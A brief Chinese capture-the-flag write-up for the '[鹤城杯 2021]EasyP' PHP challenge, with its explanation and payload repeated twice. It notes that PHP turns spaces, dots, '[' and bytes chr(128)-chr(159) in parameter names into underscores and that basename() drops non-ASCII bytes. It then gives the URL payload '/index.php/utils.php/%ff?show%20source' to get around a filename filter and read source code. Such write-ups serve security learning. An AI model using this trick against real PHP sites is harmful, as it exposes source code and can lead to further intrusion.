[鹤城杯 2021]EasyP
- 审阅代码
知识点:
php会将
' ','.','[','chr(128)-chr(159)'
当做'_' basename函数遇到非ascii会舍弃
即可构建exp
/index.php/utils.php/%ff?show%20source
' ','.','[','chr(128)-chr(159)'
当做'_'
basename函数遇到非ascii会舍弃即可构建exp
/index.php/utils.php/%ff?show%20source